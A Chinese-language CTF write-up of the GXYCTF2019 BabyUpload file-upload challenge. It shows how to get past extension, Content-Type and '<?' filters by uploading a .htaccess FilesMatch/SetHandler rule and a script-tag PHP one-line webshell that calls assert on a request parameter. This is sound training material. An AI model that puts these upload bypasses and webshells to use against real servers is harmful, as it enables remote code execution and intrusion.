[GXYCTF2019]BabyUpload

imtaieee發表於2024-11-06

0x00 題目介紹


image-20210324151953518


參考網址:https://buuoj.cn/challenges#[GXYCTF2019]BabyUpload


0x01 上傳檢測

副檔名檢測:字尾名不能包含ph,大小寫均不可。

檔案型別檢測:content-type 只能是 image/jpeg

檔案內容檢測:過濾<?


0x02 詳細思路

1.抓到上傳包

image-20210324151859910


2.重放包,發現不止字尾名檢測,這裡還有檔案型別檢測。

image-20210324152122806


3.Content-type 修改為image/jpeg,繼續重放包,發現上傳成功。

image-20210324152756880

但是隻上傳jpg格式遠不能達到目的,這裡通過burp爆破來獲得可上傳的字尾名!

image-20210324161545833

我們發現.htaccess檔案是可以成功上傳的。

image-20210324153439149


4.可利用.htaccess進行解析,先上傳.htaccess檔案,再上傳jpg檔案,將shell.jpg解析為php檔案,下面就是對映解析程式碼!

<FilesMatch "shell.jpg">

 SetHandler application/x-httpd-php

</FilesMatch>

image-20210324154733415


5.上傳shell.jpg,新增PHP一句話木馬,發現這裡好像對<?進行了過濾。

image-20210324155216838


6.使用js編寫一句話進行繞過 <? 檢測,得到上傳地址。

<script language='php'>assert($_REQUEST['cmd'])</script>

image-20210324155347889


7.之後,使用webshell連線工具,或者使用show_source()函式,即可得到flag!

image-20210324160152207


0x03 參考連結


BUUCTF

FUZZ字典

PHP一句話木馬之小馬